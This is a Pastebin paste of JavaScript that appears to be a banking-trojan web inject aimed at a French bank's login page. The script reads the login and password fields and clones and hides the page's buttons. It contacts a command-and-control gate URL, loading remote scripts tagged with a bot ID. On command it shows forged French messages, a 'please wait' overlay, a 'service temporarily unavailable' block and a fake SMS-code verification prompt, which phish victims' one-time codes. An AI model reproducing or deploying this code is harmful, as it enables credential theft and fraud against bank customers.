Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //=================== ADMIN =====================
- var ALINK = "https://securetargeting.com/content/webanalyser/lcl/admin/";
- var GATE = ALINK+"gate/gate.php";
- //=================== INIT PROTOS =====================
- var By = (function(){
- function ByArgs(arguments){
- var found = {
- tag: false,
- error: false,
- element: false
- }
- if(arguments && arguments.length >= 3){
- var elements_array = arguments[1].split("|");
- if(elements_array.length > 0){
- for(var k = 0; k < elements_array.length; k++){
- var elements = arguments[0].getElementsByTagName(elements_array[k]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e].split(":")[1],"igm");
- if(arguments[e].split(":")[0] == "class"){
- if(elements[i].className != null && pattern.test(elements[i].className)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else if(arguments[e].split(":")[0] == "for"){
- if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else{
- if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- }else{
- return false;
- }
- }else{
- return false;
- }
- }
- function ByContent(arguments){
- var found = {
- tag: false,
- error: false,
- element: false
- }
- if(arguments && arguments.length > 2){
- var elements = arguments[0].getElementsByTagName(arguments[1]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e]);
- if(pattern.test(elements[i].innerHTML.toLowerCase())){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- }
- return{
- args: function(){
- return ByArgs(arguments);
- },
- content: function(){
- return ByContent(arguments);
- }
- }
- }())
- by = By;
- var Hujax = (function(){
- var callback_func = false;
- function SetCallback(p){
- callback_func = p;
- }
- function Send(url){
- var BOTID = document.getElementById("BMUD");
- if(BOTID){
- BOTID = vw.text(BOTID);
- }else{
- BOTID = "%%ID%%";
- }
- url += "&ip="+BOTID;
- if(document.getElementById("rgk_ajax")){
- document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
- }
- var script = document.createElement("script");
- script.type = "text/javascript";
- script.id = "rgk_ajax";
- if (script.readyState) {
- script.onreadystatechange = function() {
- if (script.readyState == "loaded" || script.readyState == "complete") {
- script.onreadystatechange = null;
- callback_func();
- }
- };
- } else {
- script.onload = function() {
- callback_func();
- };
- }
- url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
- script.src = url;
- if(document.getElementsByTagName("head").length > 0){
- document.getElementsByTagName("head")[0].appendChild(script);
- }else{
- document.getElementsByTagName("body")[0].appendChild(script);
- }
- }
- return{
- callback: function(param){
- SetCallback(param);
- },
- send: function(param){
- Send(param);
- }
- }
- }());
- hujax = Hujax;
- var Clone = (function(){
- function CheckQ(param){
- if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
- return false;
- }else{
- return true;
- }
- }
- function COPY(obj,func){
- if(obj.type == "image"){
- var clo = document.createElement("img");
- for (x in obj.attributes){
- if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
- if(obj.attributes[x].name == "onclick" ||
- obj.attributes[x].name == "name" ||
- obj.attributes[x].name == "disabled" ||
- obj.attributes[x].name == "id"
- ){
- continue;
- }
- if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
- clo.setAttribute(obj.attributes[x].name,"button");
- }else{
- clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
- }
- }
- }
- }else{
- var clo = document.createElement(obj.tagName);
- for (x in obj.attributes){
- if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
- if(obj.attributes[x].name == "onclick" ||
- obj.attributes[x].name == "name" ||
- obj.attributes[x].name == "disabled" ||
- obj.attributes[x].name == "href"
- ){
- continue;
- }
- if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
- clo.setAttribute(obj.attributes[x].name,"button");
- }else{
- clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
- }
- }
- }
- }
- if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
- clo.innerHTML = obj.innerHTML;
- }
- clo.style.cursor = "pointer";
- obj.style.display = "none";
- AddListenner(clo,"click",func);
- obj.parentNode.insertBefore(clo,obj);
- }
- function AddListenner(obj,evType,func){
- if(obj.addEventListener ){
- obj.addEventListener(evType,func,false);
- return true;
- }else if(obj.attachEvent){
- var r = obj.attachEvent('on'+evType,func);
- return r;
- }else{
- elm['on'+evType] = func;
- }
- }
- function JUSTCOPYINPUT(obj,content){
- var clo = document.createElement(obj.tagName);
- for (x in obj.attributes){
- if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
- if(obj.attributes[x].name == "onclick" ||
- obj.attributes[x].name == "name" ||
- obj.attributes[x].name == "href" ||
- obj.attributes[x].name == "id" ||
- obj.attributes[x].name == "value"
- ){
- continue;
- }
- clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
- }
- }
- clo.value = content;
- obj.style.display = "none";
- obj.parentNode.insertBefore(clo,obj);
- }
- return{
- click: function(obj,func){
- COPY(obj,func);
- },
- copy: function(obj,content){
- JUSTCOPYINPUT(obj,content);
- }
- }
- }())
- clone = Clone;
- var VW = (function(){
- var fTarget = false;
- var fDeftime = 10;
- var fTime = fDeftime;
- var fCallback = function(){return false;};
- function getViewportHeight() {
- var ua = navigator.userAgent.toLowerCase();
- var isOpera = (ua.indexOf('opera') > -1);
- var isIE = (!isOpera && ua.indexOf('msie') > -1);
- return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
- }
- return{
- hidedoc: function(doc){
- var none_div = doc.getElementById("none_div");
- if(none_div){
- none_div.style.display = "";
- }else{
- doc.documentElement.style.display = "none";
- }
- },
- showdoc: function(doc){
- var none_div = doc.getElementById("none_div");
- if(none_div){
- none_div.style.display = "none";
- }else{
- doc.documentElement.style.display = "";
- }
- },
- browser: function(){
- if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
- return "IE6";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
- return "IE7";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
- return "IE8";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
- return "IE9";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
- return "IE10";
- }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
- return "FF";
- }else{
- return "OTHER";
- }
- },
- bind: function(obj, evType, func){
- if(obj.addEventListener ){
- obj.addEventListener(evType,func,false);
- return true;
- }else if(obj.attachEvent){
- var r = obj.attachEvent('on'+evType,func);
- return r;
- }else{
- elm['on'+evType] = func;
- }
- },
- mouse: function(eve,element){
- if(document.createEvent){
- var event = document.createEvent('MouseEvents');
- event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
- element.dispatchEvent(event);
- }else if(element.fireEvent){
- if(eve == "click"){
- element.click();
- }else{
- var event = document.createEventObject();
- element.fireEvent('on'+eve, event);
- }
- }
- },
- text: function(param){
- if(param){
- var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
- return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
- }else{
- return "";
- }
- },
- from: function(parent,child){
- return parent && child ? parent.getElementsByTagName(child) : false;
- },
- digits: function(digits){
- var RES = {
- NUMBERS:"",
- OTHER: ""
- }
- var res = '';
- if(digits && digits.length > 0){
- digits = digits.replace(/\u2212/g, "-");
- var ValidChars = "0123456789";
- for(var i = 0;i < digits.length; i++){
- var Char = digits.charAt(i);
- if(ValidChars.indexOf(Char) >=0){
- res += Char;
- }else{
- RES.OTHER += Char;
- }
- }
- }
- RES.NUMBERS = parseFloat(res);
- return RES;
- },
- blockenter: function(el){
- if(el){
- el.onkeypress = function(evt){
- var evt = (evt) ? evt : ((event) ? event : null);
- var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
- if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
- return false;
- }
- }
- }
- },
- selected: function(select){
- if(select){
- var RES = {
- VALUE: "",
- TEXT: ""
- }
- RES.VALUE = select[select.selectedIndex].value;
- RES.TEXT = select[select.selectedIndex].text;
- return RES;
- }else{
- return false;
- }
- },
- docheight: function(){
- return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
- },
- docwidth: function(num){
- if(num){
- return (window.screen.availWidth / num);
- }else{
- return window.screen.availWidth;
- }
- },
- finder: function(obj,callback,time){
- fTarget = obj;
- fCallback = callback;
- if(time)fTime = time;
- setTimeout(vw._finder,500);
- },
- _finder: function(){
- if(fTarget()){
- fCallback();
- fTime = fDeftime;
- }else{
- if(fTime > 0){
- fTime--;
- setTimeout(vw._finder,1000);
- }else{
- fTime = fDeftime;
- }
- }
- }
- }
- }())
- vw = VW;
- if(typeof HTMLElement != 'undefined' && !HTMLElement.prototype.click){
- HTMLElement.prototype.click=function(){
- var evt = this.ownerDocument.createEvent('MouseEvents');
- evt.initMouseEvent('click', true, true, this.ownerDocument.defaultView, 1, 0, 0, 0, 0, false, false, false, false, 0, null);
- this.dispatchEvent(evt);
- }
- }
- //=================== INIT VARIABLES =====================
- var UI_login_input = document.getElementById("identifiantIdForm");
- var UI_password_input = document.getElementById("CodeId");
- var UI_login_button_0 = document.getElementById("validerClavierCLI");
- var UI_login_button_1 = document.getElementById("validerClavierCLA");
- var UI_reset_button = document.getElementById("ResetClavier_idImageClavier");
- var buttonForClick = false;
- var kl = "[NONE]";
- var smsButton = false;
- var HOLDER = {
- LOGIN: "",
- PASSWORD: "",
- SMS: ""
- }
- var QUERY = {
- COMMAND: "NONE",
- VALUE: false,
- CHANGED: false,
- FINISH: false
- }
- var FKTEXT = {
- WAITING: "Attendez, s'il vous plaît...",
- BLOCKTITLE: "Le service est temporairement inaccessible",
- BLOCKMAIN: "Nous présentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour améliorer la qualité du service de nos clients et assurer votre sécurité sur le niveau supérieur. Nos spécialistes vont restaurer le travail et l'accès aux comptes dans les plus brefs délais. Merci de votre patience et compréhension.",
- BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
- SMSTITLE: "Vérification supplémentaire",
- SMSQUERY: "Nous avons introduit, pour l'accès plus sûr à vos comptes, un nouveau système de l'identification pour SMS code",
- SMSQUERY2: "Pour continuer inscrivez le code reçu par SMS.",
- SMSLABEL: "Code d'acess"
- }
- //=================== INIT FAKE FUNCTIONS =====================
- vw.finish = function(){
- if(!QUERY.CHANGED){
- QUERY.FINISH = true;
- }
- }
- vw.fake_step = function(step,status){
- switch(step){
- case("login"):
- vw.lethim();
- break;
- case("relogin"):
- vw.lethim();
- break;
- case("wait"):
- var fkWaitContent = '<div style="left:'+(vw.docwidth(2) - 175)+'px;top: 290px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;"> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;"> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div> <div style="background: url(data:image/gif;base64,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) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div> </div> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
- var popup_elem_common = document.getElementById("popup_elem_common");
- if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
- var popup_elem = document.createElement("div");
- popup_elem.id = "popup_elem_common";
- popup_elem.style.position = "absolute";
- popup_elem.style.top = "0px";
- popup_elem.style.left = "0px";
- popup_elem.style.width = "100%";
- popup_elem.style.height = "100%";
- popup_elem.style.zIndex = "1001";
- popup_elem.style.background = "url(blank.gif)";
- popup_elem.innerHTML = fkWaitContent;
- document.getElementsByTagName('body')[0].appendChild(popup_elem);
- if(status)return false;
- setTimeout(vw.finish,90000);
- break;
- case("hidewait"):
- var popup_elem_common = document.getElementById("popup_elem_common");
- if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
- break;
- case("sms"):
- vw.fake_step("hidewait");
- smsButton = true;
- var h3Title2 = by.content(document,"h3","saisissez","votre","code");
- if(h3Title2){
- h3Title2.innerHTML = FKTEXT.SMSTITLE;
- var prNode = h3Title2.parentNode.parentNode;
- var forMainText = by.args(prNode,"div","id:fieldlabelidentifiant");
- forMainText.parentNode.innerHTML = '<div style="display:none;"> <div class="containerClavier"> <div class="clavis"><map name="vwmap"><area tabindex="3" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(5)" coords="0,0,30,30" shape="rect"><area tabindex="8" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(7)" coords="0,35,30,65" shape="rect"><area tabindex="4" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(4)" coords="35,0,65,30" shape="rect"><area tabindex="9" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(9)" coords="35,35,65,65" shape="rect"><area tabindex="5" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(6)" coords="70,0,100,30" shape="rect"><area tabindex="10" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(0)" coords="70,35,100,65" shape="rect"><area tabindex="6" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(2)" coords="107,0,135,30" shape="rect"><area tabindex="11" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(8)" coords="107,35,135,65" shape="rect"><area tabindex="7" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(1)" coords="143,0,172,30" shape="rect"><area tabindex="12" alt="Touche clavier" class="toucheClavier" href="javascript:vw.clickarea(3)" coords="143,35,172,65" shape="rect"></map><img usemap="#vwmap" src="'+ALINK+'imag/map.jpg"></div> <div class="rightSide"> <div class="pwdFields"> <input type="hidden" class="postClavier" name="postClavier" id="postClavier" value="undefinedundefinedundefinedundefinedundefined"> <input type="hidden" name="random" id="random" value="true"> <input type="password" disabled="disabled" maxlength="6" class="password" size="6" name="CodeId" id="CodeId"> </div> <div class="posCorrigerClavis"> <input type="button" value="Effacer" class="button" id="ResetClavier_idImageClavier"> </div> </div></div> </div>'+
- '<div id="fieldLabelIdentifiant" style="color: #003366;font-family: Verdana,Arial,Helvetica,Geneva,Swiss,SunSans-Regular;font-size: 11px;">'+
- '<p style="font-weight:normal;">'+FKTEXT.SMSQUERY+'<p>'+
- '<br>'+
- '<label for="vw.code" style="font-size:11px;">'+FKTEXT.SMSLABEL+'</label> <input type="password" style="width:100px;margin-left:10px;" id="vw.code">'+
- '</div>';
- }
- var codeInput = document.getElementById("vw.code");
- codeInput.value = "";
- break;
- case("block"):
- vw.fake_step("hidewait");
- var h3Title = by.content(document,"h3","saisissez","votre","identifiant");
- var h3Title2 = by.args(document,"img","src:parcours\/puce2\.png");
- var h3Title3 = by.content(document,"h3","acc.*dez","votre","espace");
- var forMainText = document.getElementById("fieldLabelIdentifiant");
- if(h3Title && forMainText && h3Title2 && h3Title3){
- h3Title2.parentNode.parentNode.style.display = "none";
- h3Title3.parentNode.parentNode.style.display = "none";
- h3Title.innerHTML = FKTEXT.BLOCKTITLE;
- forMainText.parentNode.innerHTML = '<div id="fieldLabelIdentifiant" style="color: #003366;font-family: Verdana,Arial,Helvetica,Geneva,Swiss,SunSans-Regular;font-size: 11px;">'+
- '<p style="font-weight:normal;">'+FKTEXT.BLOCKMAIN+'<p>'+
- '<br>'+
- '<p>'+FKTEXT.BLOCTRYNEXTTIME+'<p>'+
- '</div>';
- }
- break;
- }
- }
- vw.actions = function(){
- switch(QUERY.COMMAND){
- case("OFFLINE"):
- vw.fake_step("login");
- break;
- case("BLOCK"):
- vw.fake_step("block");
- break;
- case("SMS"):
- vw.fake_step("sms");
- break;
- case("LOGIN"):
- vw.fake_step("login");
- break;
- case("REASK LOGIN INFO"):
- vw.fake_step("login");
- break;
- case("WAIT"):
- vw.fake_step("wait",true);
- setTimeout(vw.command,1000);
- break;
- }
- }
